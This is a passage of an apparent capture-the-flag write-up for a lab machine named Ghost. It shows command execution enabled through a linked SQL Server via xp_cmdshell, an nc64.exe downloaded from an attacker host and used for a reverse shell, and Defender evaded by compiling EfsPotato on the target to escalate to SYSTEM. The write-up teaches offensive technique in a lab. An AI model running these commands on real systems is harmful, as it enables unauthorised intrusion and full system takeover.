    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">[*] SQL query: (enter 'exit' to quit)
&gt;&gt;</span></span> <span class="custom-cmd">execute('execute as login=''sa'';exec xp_cmdshell ''whoami''') at [primary]</span>

<span class="custom-output">RequestError: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.</span></pre>
  </div>
</div>

<p>This is because it’s disabled. I’ll re-enable it:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">[*] SQL query: (enter 'exit' to quit)
&gt;&gt;</span></span> <span class="custom-cmd">execute('execute as login=''sa'';exec master.dbo.sp_configure ''show advanced options'',1;RECONFIGURE;exec master.dbo.sp_configure ''xp_cmdshell'',1;RECONFIGURE;') at [primary]</span>

<span class="custom-output">{
    "recordsets": [],
    "output": {},
    "rowsAffected": []
}</span></pre>
  </div>
</div>

<p>Now it works, OS command execution successful.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">[*] SQL query: (enter 'exit' to quit)
&gt;&gt;</span></span> <span class="custom-cmd">execute('execute as login=''sa'';exec xp_cmdshell ''hostname''') at [primary]</span>

<span class="custom-output">{
    "recordsets": [
        [
            {
                "output": "PRIMARY"
            },
            {
                "output": null
            }
        ]
    ],
    "recordset": [
        {
            "output": "PRIMARY"
        },
        {
            "output": null
        }
    ],
    "output": {},
    "rowsAffected": [
        2
    ]
}</span></pre>
  </div>
</div>

<p>For the shell I’ll run the following two queries:</p>

<p><code class="language-plaintext highlighter-rouge">$ execute('execute as login=''sa'';exec xp_cmdshell ''curl -o c:\users\public\documents\nc64.exe http://10.10.14.93:8000/nc64.exe''') at [primary]</code></p>

<p><code class="language-plaintext highlighter-rouge">$ execute('execute as login=''sa'';exec xp_cmdshell ''c:\users\public\documents\nc64.exe 10.10.14.93 8001 -e cmd.exe''') at [primary]</code></p>

<p>The first one downloads a <code class="language-plaintext highlighter-rouge">nc</code> binary, the second one triggers it, and a shell as <code class="language-plaintext highlighter-rouge">mssqlserver</code> is sent back from <code class="language-plaintext highlighter-rouge">PRIMARY</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">rlwrap nc -lvnp 8001</span>
<span class="cmd-output">
listening on [any] 8001 ...
connect to [10.10.14.93] from (UNKNOWN) [10.129.231.105] 49836
Microsoft Windows [Version 10.0.20348.2582]
(c) Microsoft Corporation. All rights reserved.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Windows\system32</span><span class="win-char">&gt;</span></span> <span class="win-cmd">whoami</span>

<span class="win-output">nt service\mssqlserver</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Windows\system32</span><span class="win-char">&gt;</span></span> <span class="win-cmd">hostname</span>

<span class="win-output">PRIMARY</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<h3 id="escalation-from-nt-servicemssqlserver">Escalation from <code class="language-plaintext highlighter-rouge">nt service\mssqlserver</code>:</h3>
<h3 id="potato-attack">Potato Attack:</h3>

<p>Escalating from here should be relatively straightforward, as service accounts often have impersonate privileges, which can be abused with <a href="https://sn0xs-organization.gitbook.io/sn0x-order.org/red-team-notes/windows-privilege-escalation/potato-attacks">Potato attacks</a>.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">PRIMARY</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Windows\system32</span><span class="win-char">&gt;</span></span> <span class="win-cmd">whoami /priv</span>

<span class="win-output">PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p><a href="https://github.com/BeichenDream/GodPotato">GodPotato</a> is usually quite reliable and had been used in previous boxes like <a href="https://ch3ng625.github.io/flight">Flight</a> and <a href="https://ch3ng625.github.io/visual">Visual</a>. However, Defender is active on this server, and the exe file is immediately deleted upon upload.</p>

<p>I’ll use <a href="https://github.com/zcgonvh/EfsPotato">EfsPotato</a> instead, which is undetected by Defender. There’s no pre-built binaries available, and has to be compiled on the server.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">PRIMARY</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Users\Public\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">c:\windows\microsoft.net\framework\v4.0.30319\csc.exe efspotato.cs -nowarn:1691,618</span>

<span class="win-output">Microsoft (R) Visual C# Compiler version 4.8.4161.0
for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.

This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Users\Public\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">dir</span>

<span class="win-output">Volume in drive C has no label.
Volume Serial Number is 161D-1BB7

 Directory of c:\Users\Public\Documents

01/15/2025  07:08 AM    &lt;DIR&gt;          .
01/30/2024  07:28 PM    &lt;DIR&gt;          ..
01/15/2025  07:04 AM            25,441 efspotato.cs
01/15/2025  07:08 AM            17,920 efspotato.exe
01/15/2025  06:44 AM            45,272 nc64.exe
               3 File(s)         88,633 bytes
               2 Dir(s)   3,978,080,256 bytes free</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Users\Public\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">.\efspotato.exe "whoami"</span>

<span class="win-output">Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]

[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=1a5453c0)
[+] Get Token: 880
[!] process with pid: 3664 created.
==============================
nt authority\system</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>I’ll call the <code class="language-plaintext highlighter-rouge">nc</code> binary uploaded earlier to send back a reverse shell:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">PRIMARY</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Users\Public\Documents</span><span class="win-char">&gt;</span></span> <span class="win-cmd">.\efspotato.exe "nc64.exe 10.10.14.93 8001 -e cmd.exe"</span>

<span class="win-output">Exploit for EfsPotato(MS-EFSR EfsRpcEncryptFileSrv with SeImpersonatePrivilege local privalege escalation vulnerability).
Part of GMH's fuck Tools, Code By zcgonvh.
CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes support by Pablo Martinez (@xassiz) [www.blackarrow.net]

[+] Current user: NT Service\MSSQLSERVER
[+] Pipe: \pipe\lsarpc
[!] binding ok (handle=c8e6e0)
[+] Get Token: 880
[!] process with pid: 2132 created.
==============================
[x] EfsRpcEncryptFileSrv failed: 1818</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>Now I’m <code class="language-plaintext highlighter-rouge">nt authority\system</code> on <code class="language-plaintext highlighter-rouge">PRIMARY</code>:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/ghost</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">rlwrap nc -lvnp 8001</span>
<span class="cmd-output">
listening on [any] 8001 ...
connect to [10.10.14.93] from (UNKNOWN) [10.129.231.105] 49853
Microsoft Windows [Version 10.0.20348.2582]
(c) Microsoft Corporation. All rights reserved.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

